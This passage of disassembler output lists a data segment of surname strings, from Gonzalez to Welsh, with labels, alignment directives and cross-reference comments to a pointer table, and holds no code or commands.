aGonzalez	db 'Gonzalez',0         ; DATA XREF: seg002:004406B8o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: seg002:004406BCo
aMittal		db 'Mittal',0           ; DATA XREF: seg002:004406C0o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: seg002:004406C4o
aModestino	db 'Modestino',0        ; DATA XREF: seg002:004406C8o
		align 10h
aMoeller	db 'Moeller',0          ; DATA XREF: seg002:004406CCo
aMohr		db 'Mohr',0             ; DATA XREF: seg002:004406D0o
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: seg002:004406D4o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: seg002:004406D8o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: seg002:004406DCo
		align 10h
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: seg002:004406E0o
		align 4
aMorani		db 'Morani',0           ; DATA XREF: seg002:004406E4o
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: seg002:004406E8o
aMorrison	db 'Morrison',0         ; DATA XREF: seg002:004406ECo
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: seg002:004406F0o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: seg002:004406F4o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: seg002:004406F8o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: seg002:004406FCo
		align 4
aMostafavi	db 'Mostafavi',0        ; DATA XREF: seg002:00440700o
		align 4
aMotooka	db 'Motooka',0          ; DATA XREF: seg002:00440704o
aMudarri	db 'Mudarri',0          ; DATA XREF: seg002:00440708o
aMuello		db 'Muello',0           ; DATA XREF: seg002:0044070Co
		align 10h
aMugnai		db 'Mugnai',0           ; DATA XREF: seg002:00440710o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: seg002:00440714o
aMulroy		db 'Mulroy',0           ; DATA XREF: seg002:00440718o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: seg002:0044071Co
aMussachio	db 'Mussachio',0        ; DATA XREF: seg002:00440720o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: seg002:00440724o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: seg002:00440728o
		align 10h
aNardi		db 'Nardi',0            ; DATA XREF: seg002:0044072Co
		align 4
aNardone	db 'Nardone',0          ; DATA XREF: seg002:00440730o
aNaviaux	db 'Naviaux',0          ; DATA XREF: seg002:00440734o
aNayduch	db 'Nayduch',0          ; DATA XREF: seg002:00440738o
aNelson		db 'Nelson',0           ; DATA XREF: seg002:0044073Co
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: seg002:00440740o
		align 10h
aNesci		db 'Nesci',0            ; DATA XREF: seg002:00440744o
		align 4
aNeuman		db 'Neuman',0           ; DATA XREF: seg002:00440748o
		align 10h
aNewfeld	db 'Newfeld',0          ; DATA XREF: seg002:0044074Co
aNewlin		db 'Newlin',0           ; DATA XREF: seg002:00440750o
		align 10h
aNg		db 'Ng',0               ; DATA XREF: seg002:00440754o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: seg002:00440758o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: seg002:0044075Co
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: seg002:00440760o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: seg002:00440764o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: seg002:00440768o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: seg002:0044076Co
		align 10h
aNuzum		db 'Nuzum',0            ; DATA XREF: seg002:00440770o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: seg002:00440774o
aOgata		db 'Ogata',0            ; DATA XREF: seg002:00440778o
		align 4
aOh		db 'Oh',0               ; DATA XREF: seg002:0044077Co
		align 4
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: seg002:00440780o
aOldford	db 'Oldford',0          ; DATA XREF: seg002:00440784o
aOlsen		db 'Olsen',0            ; DATA XREF: seg002:00440788o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: seg002:0044078Co
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: seg002:00440790o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: seg002:00440794o
		align 4
aOman		db 'Oman',0             ; DATA XREF: seg002:00440798o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: seg002:0044079Co
aOpel		db 'Opel',0             ; DATA XREF: seg002:004407A0o
		align 4
aOray		db 'Oray',0             ; DATA XREF: seg002:004407A4o
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: seg002:004407A8o
aOrsi		db 'Orsi',0             ; DATA XREF: seg002:004407ACo
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: seg002:004407B0o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: seg002:004407B4o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: seg002:004407B8o
		align 4
aOtten		db 'Otten',0            ; DATA XREF: seg002:004407BCo
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: seg002:004407C0o
aOvid		db 'Ovid',0             ; DATA XREF: seg002:004407C4o
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: seg002:004407C8o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: seg002:004407CCo
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: seg002:004407D0o
		align 10h
aPalepu		db 'Palepu',0           ; DATA XREF: seg002:004407D4o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: seg002:004407D8o
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: seg002:004407DCo
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: seg002:004407E0o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: seg002:004407E4o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: seg002:004407E8o
		align 10h
aPaoletti	db 'Paoletti',0         ; DATA XREF: seg002:004407ECo
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: seg002:004407F0o
aParris		db 'Parris',0           ; DATA XREF: seg002:004407F4o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: seg002:004407F8o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: seg002:004407FCo
		align 4
aPatefield	db 'Patefield',0        ; DATA XREF: seg002:00440800o
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: seg002:00440804o
aPattullo	db 'Pattullo',0         ; DATA XREF: seg002:00440808o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: seg002:0044080Co
aPavlon		db 'Pavlon',0           ; DATA XREF: seg002:00440810o
		align 4
aPawloski	db 'Pawloski',0         ; DATA XREF: seg002:00440814o
		align 4
aPaynter	db 'Paynter',0          ; DATA XREF: seg002:00440818o
aPeabody	db 'Peabody',0          ; DATA XREF: seg002:0044081Co
aPearlberg	db 'Pearlberg',0        ; DATA XREF: seg002:00440820o
		align 10h
aPederson	db 'Pederson',0         ; DATA XREF: seg002:00440824o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: seg002:00440828o
aPenny		db 'Penny',0            ; DATA XREF: seg002:0044082Co
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: seg002:00440830o
aPerko		db 'Perko',0            ; DATA XREF: seg002:00440834o
		align 4
aPerlak		db 'Perlak',0           ; DATA XREF: seg002:00440838o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: seg002:0044083Co
aPerna		db 'Perna',0            ; DATA XREF: seg002:00440840o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: seg002:00440844o
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: seg002:00440848o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: seg002:0044084Co
		align 10h
aPetruzello	db 'Petruzello',0       ; DATA XREF: seg002:00440850o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: seg002:00440854o
		align 4
aPettit		db 'Pettit',0           ; DATA XREF: seg002:00440858o
		align 10h
aPfister	db 'Pfister',0          ; DATA XREF: seg002:0044085Co
aPilbeam	db 'Pilbeam',0          ; DATA XREF: seg002:00440860o
aPinot		db 'Pinot',0            ; DATA XREF: seg002:00440864o
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: seg002:00440868o
aPlant		db 'Plant',0            ; DATA XREF: seg002:0044086Co
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: seg002:00440870o
aPlous		db 'Plous',0            ; DATA XREF: seg002:00440874o
		align 4
aPo		db 'Po',0               ; DATA XREF: seg002:00440878o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: seg002:0044087Co
		align 4
aPoincaire	db 'Poincaire',0        ; DATA XREF: seg002:00440880o
		align 4
aPointer	db 'Pointer',0          ; DATA XREF: seg002:00440884o
aPoirier	db 'Poirier',0          ; DATA XREF: seg002:00440888o
aPolak		db 'Polak',0            ; DATA XREF: seg002:0044088Co
		align 4
aPolanyi	db 'Polanyi',0          ; DATA XREF: seg002:00440890o
aPolitis	db 'Politis',0          ; DATA XREF: seg002:00440894o
aPoma		db 'Poma',0             ; DATA XREF: seg002:00440898o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: seg002:0044089Co
aPowers		db 'Powers',0           ; DATA XREF: seg002:004408A0o
		align 4
aPresper	db 'Presper',0          ; DATA XREF: seg002:004408A4o
aPreucel	db 'Preucel',0          ; DATA XREF: seg002:004408A8o
aPrevost	db 'Prevost',0          ; DATA XREF: seg002:004408ACo
aPritchard	db 'Pritchard',0        ; DATA XREF: seg002:004408B0o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: seg002:004408B4o
		align 10h
aProietti	db 'Proietti',0         ; DATA XREF: seg002:004408B8o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: seg002:004408BCo
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: seg002:004408C0o
		align 4
aPugh		db 'Pugh',0             ; DATA XREF: seg002:004408C4o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: seg002:004408C8o
aQuaday		db 'Quaday',0           ; DATA XREF: seg002:004408CCo
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: seg002:004408D0o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: seg002:004408D4o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: seg002:004408D8o
		align 4
aRadeke		db 'Radeke',0           ; DATA XREF: seg002:004408DCo
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: seg002:004408E0o
aRaney		db 'Raney',0            ; DATA XREF: seg002:004408E4o
		align 10h
aRangan		db 'Rangan',0           ; DATA XREF: seg002:004408E8o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: seg002:004408ECo
		align 10h
aRapple		db 'Rapple',0           ; DATA XREF: seg002:004408F0o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: seg002:004408F4o
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: seg002:004408F8o
		align 10h
aReedquist	db 'Reedquist',0        ; DATA XREF: seg002:004408FCo
		align 4
aCunningham	db 'Cunningham',0       ; DATA XREF: seg002:00440900o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: seg002:00440904o
aRemak		db 'Remak',0            ; DATA XREF: seg002:00440908o
		align 4
aRenick		db 'Renick',0           ; DATA XREF: seg002:0044090Co
		align 10h
aRepetto	db 'Repetto',0          ; DATA XREF: seg002:00440910o
aResnik		db 'Resnik',0           ; DATA XREF: seg002:00440914o
		align 10h
aRhea		db 'Rhea',0             ; DATA XREF: seg002:00440918o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: seg002:0044091Co
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: seg002:00440920o
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: seg002:00440924o
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: seg002:00440928o
		align 4
aRish		db 'Rish',0             ; DATA XREF: seg002:0044092Co
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: seg002:00440930o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: seg002:00440934o
		align 4
aRocha		db 'Rocha',0            ; DATA XREF: seg002:00440938o
		align 10h
aRoesler	db 'Roesler',0          ; DATA XREF: seg002:0044093Co
aRogers		db 'Rogers',0           ; DATA XREF: seg002:00440940o
		align 10h
aRonen		db 'Ronen',0            ; DATA XREF: seg002:00440944o
		align 4
aRow		db 'Row',0              ; DATA XREF: seg002:00440948o
aRoyal		db 'Royal',0            ; DATA XREF: seg002:0044094Co
		align 4
aRu		db 'Ru',0               ; DATA XREF: seg002:00440950o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: seg002:00440954o
		align 10h
aRuderman	db 'Ruderman',0         ; DATA XREF: seg002:00440958o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: seg002:0044095Co
		align 4
aRush		db 'Rush',0             ; DATA XREF: seg002:00440960o
		align 10h
aRyu		db 'Ryu',0              ; DATA XREF: seg002:00440964o
aSabatello	db 'Sabatello',0        ; DATA XREF: seg002:00440968o
		align 10h
aSadler		db 'Sadler',0           ; DATA XREF: seg002:0044096Co
		align 4
aSafire		db 'Safire',0           ; DATA XREF: seg002:00440970o
		align 10h
aSahu		db 'Sahu',0             ; DATA XREF: seg002:00440974o
		align 4
aSali		db 'Sali',0             ; DATA XREF: seg002:00440978o
		align 10h
aSamson		db 'Samson',0           ; DATA XREF: seg002:0044097Co
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: seg002:00440980o
aSanna		db 'Sanna',0            ; DATA XREF: seg002:00440984o
		align 10h
aSapers		db 'Sapers',0           ; DATA XREF: seg002:00440988o
		align 4
aSarin		db 'Sarin',0            ; DATA XREF: seg002:0044098Co
		align 10h
aSartore	db 'Sartore',0          ; DATA XREF: seg002:00440990o
aSase		db 'Sase',0             ; DATA XREF: seg002:00440994o
		align 10h
aSatin		db 'Satin',0            ; DATA XREF: seg002:00440998o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: seg002:0044099Co
		align 10h
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: seg002:004409A0o
		align 10h
aSawtell	db 'Sawtell',0          ; DATA XREF: seg002:004409A4o
aSayied		db 'Sayied',0           ; DATA XREF: seg002:004409A8o
		align 10h
aScarponi	db 'Scarponi',0         ; DATA XREF: seg002:004409ACo
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: seg002:004409B0o
		align 4
aScharf		db 'Scharf',0           ; DATA XREF: seg002:004409B4o
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: seg002:004409B8o
aScheiner	db 'Scheiner',0         ; DATA XREF: seg002:004409BCo
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: seg002:004409C0o
aSchifini	db 'Schifini',0         ; DATA XREF: seg002:004409C4o
		align 4
aSchilling	db 'Schilling',0        ; DATA XREF: seg002:004409C8o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: seg002:004409CCo
aSchossberger	db 'Schossberger',0     ; DATA XREF: seg002:004409D0o
		align 4
aSchuman	db 'Schuman',0          ; DATA XREF: seg002:004409D4o
aSchutte	db 'Schutte',0          ; DATA XREF: seg002:004409D8o
aSchuyler	db 'Schuyler',0         ; DATA XREF: seg002:004409DCo
		align 4
aSchwan		db 'Schwan',0           ; DATA XREF: seg002:004409E0o
		align 10h
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: seg002:004409E4o
aScovel		db 'Scovel',0           ; DATA XREF: seg002:004409E8o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: seg002:004409ECo
aSeaton		db 'Seaton',0           ; DATA XREF: seg002:004409F0o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: seg002:004409F4o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: seg002:004409F8o
		align 4
aSekler		db 'Sekler',0           ; DATA XREF: seg002:004409FCo
		align 4
aSelvage	db 'Selvage',0          ; DATA XREF: seg002:00440A00o
aSen		db 'Sen',0              ; DATA XREF: seg002:00440A04o
aSennett	db 'Sennett',0          ; DATA XREF: seg002:00440A08o
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: seg002:00440A0Co
		align 4
aSexton		db 'Sexton',0           ; DATA XREF: seg002:00440A10o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: seg002:00440A14o
aShaikh		db 'Shaikh',0           ; DATA XREF: seg002:00440A18o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: seg002:00440A1Co
		align 4
aShankland	db 'Shankland',0        ; DATA XREF: seg002:00440A20o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: seg002:00440A24o
aShar		db 'Shar',0             ; DATA XREF: seg002:00440A28o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: seg002:00440A2Co
aShavelson	db 'Shavelson',0        ; DATA XREF: seg002:00440A30o
		align 4
aShea		db 'Shea',0             ; DATA XREF: seg002:00440A34o
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: seg002:00440A38o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: seg002:00440A3Co
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: seg002:00440A40o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: seg002:00440A44o
		align 10h
aShesko		db 'Shesko',0           ; DATA XREF: seg002:00440A48o
		align 4
aShia		db 'Shia',0             ; DATA XREF: seg002:00440A4Co
		align 10h
aShibata	db 'Shibata',0          ; DATA XREF: seg002:00440A50o
aShimon		db 'Shimon',0           ; DATA XREF: seg002:00440A54o
		align 10h
aSiesto		db 'Siesto',0           ; DATA XREF: seg002:00440A58o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: seg002:00440A5Co
aSigini		db 'Sigini',0           ; DATA XREF: seg002:00440A60o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: seg002:00440A64o
		align 10h
aSilverman	db 'Silverman',0        ; DATA XREF: seg002:00440A68o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: seg002:00440A6Co
		align 4
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: seg002:00440A70o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: seg002:00440A74o
aSites		db 'Sites',0            ; DATA XREF: seg002:00440A78o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: seg002:00440A7Co
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: seg002:00440A80o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: seg002:00440A84o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: seg002:00440A88o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: seg002:00440A8Co
		align 4
aSmilow		db 'Smilow',0           ; DATA XREF: seg002:00440A90o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: seg002:00440A94o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: seg002:00440A98o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: seg002:00440A9Co
aSolon		db 'Solon',0            ; DATA XREF: seg002:00440AA0o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: seg002:00440AA4o
		align 10h
aSommariva	db 'Sommariva',0        ; DATA XREF: seg002:00440AA8o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: seg002:00440AACo
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: seg002:00440AB0o
		align 10h
aSottak		db 'Sottak',0           ; DATA XREF: seg002:00440AB4o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: seg002:00440AB8o
		align 10h
aSoule		db 'Soule',0            ; DATA XREF: seg002:00440ABCo
		align 4
aSoultanian	db 'Soultanian',0       ; DATA XREF: seg002:00440AC0o
		align 4
aSpanier	db 'Spanier',0          ; DATA XREF: seg002:00440AC4o
aSparrow	db 'Sparrow',0          ; DATA XREF: seg002:00440AC8o
aSpaulding	db 'Spaulding',0        ; DATA XREF: seg002:00440ACCo
		align 10h
aSpeizer	db 'Speizer',0          ; DATA XREF: seg002:00440AD0o
aSpence		db 'Spence',0           ; DATA XREF: seg002:00440AD4o
		align 10h
aSperber	db 'Sperber',0          ; DATA XREF: seg002:00440AD8o
aSpicer		db 'Spicer',0           ; DATA XREF: seg002:00440ADCo
		align 10h
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: seg002:00440AE0o
		align 10h
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: seg002:00440AE4o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: seg002:00440AE8o
aStmartin	db 'StMartin',0         ; DATA XREF: seg002:00440AECo
		align 10h
aStalvey	db 'Stalvey',0          ; DATA XREF: seg002:00440AF0o
aStam		db 'Stam',0             ; DATA XREF: seg002:00440AF4o
		align 10h
aStang		db 'Stang',0            ; DATA XREF: seg002:00440AF8o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: seg002:00440AFCo
		align 4
aStates		db 'States',0           ; DATA XREF: seg002:00440B00o
		align 10h
aStatlender	db 'Statlender',0       ; DATA XREF: seg002:00440B04o
		align 4
aStefani	db 'Stefani',0          ; DATA XREF: seg002:00440B08o
aSteiner	db 'Steiner',0          ; DATA XREF: seg002:00440B0Co
aStephanian	db 'Stephanian',0       ; DATA XREF: seg002:00440B10o
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: seg002:00440B14o
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: seg002:00440B18o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: seg002:00440B1Co
		align 10h
aStillwell	db 'Stillwell',0        ; DATA XREF: seg002:00440B20o
		align 4
aStock		db 'Stock',0            ; DATA XREF: seg002:00440B24o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: seg002:00440B28o
		align 10h
aStockwell	db 'Stockwell',0        ; DATA XREF: seg002:00440B2Co
		align 4
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: seg002:00440B30o
aStonich	db 'Stonich',0          ; DATA XREF: seg002:00440B34o
aStorer		db 'Storer',0           ; DATA XREF: seg002:00440B38o
		align 4
aStott		db 'Stott',0            ; DATA XREF: seg002:00440B3Co
		align 10h
aStrange	db 'Strange',0          ; DATA XREF: seg002:00440B40o
aStrauch	db 'Strauch',0          ; DATA XREF: seg002:00440B44o
aStreiff	db 'Streiff',0          ; DATA XREF: seg002:00440B48o
aStringer	db 'Stringer',0         ; DATA XREF: seg002:00440B4Co
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: seg002:00440B50o
		align 10h
aSumner		db 'Sumner',0           ; DATA XREF: seg002:00440B54o
		align 4
aSuo		db 'Suo',0              ; DATA XREF: seg002:00440B58o
aSurdam		db 'Surdam',0           ; DATA XREF: seg002:00440B5Co
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: seg002:00440B60o
		align 10h
aSweetser	db 'Sweetser',0         ; DATA XREF: seg002:00440B64o
		align 4
aSwindle	db 'Swindle',0          ; DATA XREF: seg002:00440B68o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: seg002:00440B6Co
aTai		db 'Tai',0              ; DATA XREF: seg002:00440B70o
aTalaugon	db 'Talaugon',0         ; DATA XREF: seg002:00440B74o
		align 4
aTambiah	db 'Tambiah',0          ; DATA XREF: seg002:00440B78o
aTandler	db 'Tandler',0          ; DATA XREF: seg002:00440B7Co
aTanowitz	db 'Tanowitz',0         ; DATA XREF: seg002:00440B80o
		align 4
aTatar		db 'Tatar',0            ; DATA XREF: seg002:00440B84o
		align 10h
aTaveras	db 'Taveras',0          ; DATA XREF: seg002:00440B88o
aTawn		db 'Tawn',0             ; DATA XREF: seg002:00440B8Co
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: seg002:00440B90o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: seg002:00440B94o
		align 4
aTemes		db 'Temes',0            ; DATA XREF: seg002:00440B98o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: seg002:00440B9Co
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: seg002:00440BA0o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: seg002:00440BA4o
		align 4
aThan		db 'Than',0             ; DATA XREF: seg002:00440BA8o
		align 10h
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: seg002:00440BACo
		align 10h
aTheodos	db 'Theodos',0          ; DATA XREF: seg002:00440BB0o
aThibault	db 'Thibault',0         ; DATA XREF: seg002:00440BB4o
		align 4
aThisted	db 'Thisted',0          ; DATA XREF: seg002:00440BB8o
aThomsen	db 'Thomsen',0          ; DATA XREF: seg002:00440BBCo
aThroop		db 'Throop',0           ; DATA XREF: seg002:00440BC0o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: seg002:00440BC4o
aTill		db 'Till',0             ; DATA XREF: seg002:00440BC8o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: seg002:00440BCCo
aTofallis	db 'Tofallis',0         ; DATA XREF: seg002:00440BD0o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: seg002:00440BD4o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: seg002:00440BD8o
		align 4
aTolman		db 'Tolman',0           ; DATA XREF: seg002:00440BDCo
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: seg002:00440BE0o
aToomer		db 'Toomer',0           ; DATA XREF: seg002:00440BE4o
		align 4
aTopulos	db 'Topulos',0          ; DATA XREF: seg002:00440BE8o
aTorresi	db 'Torresi',0          ; DATA XREF: seg002:00440BECo
aTorske		db 'Torske',0           ; DATA XREF: seg002:00440BF0o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: seg002:00440BF4o
		align 4
aToye		db 'Toye',0             ; DATA XREF: seg002:00440BF8o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: seg002:00440BFCo
		align 10h
aTrenga		db 'Trenga',0           ; DATA XREF: seg002:00440C00o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: seg002:00440C04o
		align 10h
aTringali	db 'Tringali',0         ; DATA XREF: seg002:00440C08o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: seg002:00440C0Co
aTroy		db 'Troy',0             ; DATA XREF: seg002:00440C10o
		align 4
aTruss		db 'Truss',0            ; DATA XREF: seg002:00440C14o
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: seg002:00440C18o
aTsomides	db 'Tsomides',0         ; DATA XREF: seg002:00440C1Co
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: seg002:00440C20o
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: seg002:00440C24o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: seg002:00440C28o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: seg002:00440C2Co
		align 4
aTurano		db 'Turano',0           ; DATA XREF: seg002:00440C30o
		align 4
aTurek		db 'Turek',0            ; DATA XREF: seg002:00440C34o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: seg002:00440C38o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: seg002:00440C3Co
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: seg002:00440C40o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: seg002:00440C44o
		align 10h
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: seg002:00440C48o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: seg002:00440C4Co
aUrban		db 'Urban',0            ; DATA XREF: seg002:00440C50o
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: seg002:00440C54o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: seg002:00440C58o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: seg002:00440C5Co
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: seg002:00440C60o
		align 4
aWaite		db 'Waite',0            ; DATA XREF: seg002:00440C64o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: seg002:00440C68o
aValencia	db 'Valencia',0         ; DATA XREF: seg002:00440C6Co
		align 10h
aWales		db 'Wales',0            ; DATA XREF: seg002:00440C70o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: seg002:00440C74o
		align 4
aWalter		db 'Walter',0           ; DATA XREF: seg002:00440C78o
		align 4
aVanallen	db 'vanAllen',0         ; DATA XREF: seg002:00440C7Co
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: seg002:00440C80o
aVandenberg	db 'Vandenberg',0       ; DATA XREF: seg002:00440C84o
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: seg002:00440C88o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: seg002:00440C8Co
		align 4
aWasowska	db 'Wasowska',0         ; DATA XREF: seg002:00440C90o
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: seg002:00440C94o
aWaugh		db 'Waugh',0            ; DATA XREF: seg002:00440C98o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: seg002:00440C9Co
		align 10h
aWeingarten	db 'Weingarten',0       ; DATA XREF: seg002:00440CA0o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: seg002:00440CA4o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: seg002:00440CA8o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: seg002:00440CACo
		align 10h
aVelasquez	db 'Velasquez',0        ; DATA XREF: seg002:00440CB0o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: seg002:00440CB4o
		align 4
aWelsh		db 'Welsh',0            ; DATA XREF: seg002:00440CB8o
		align 4
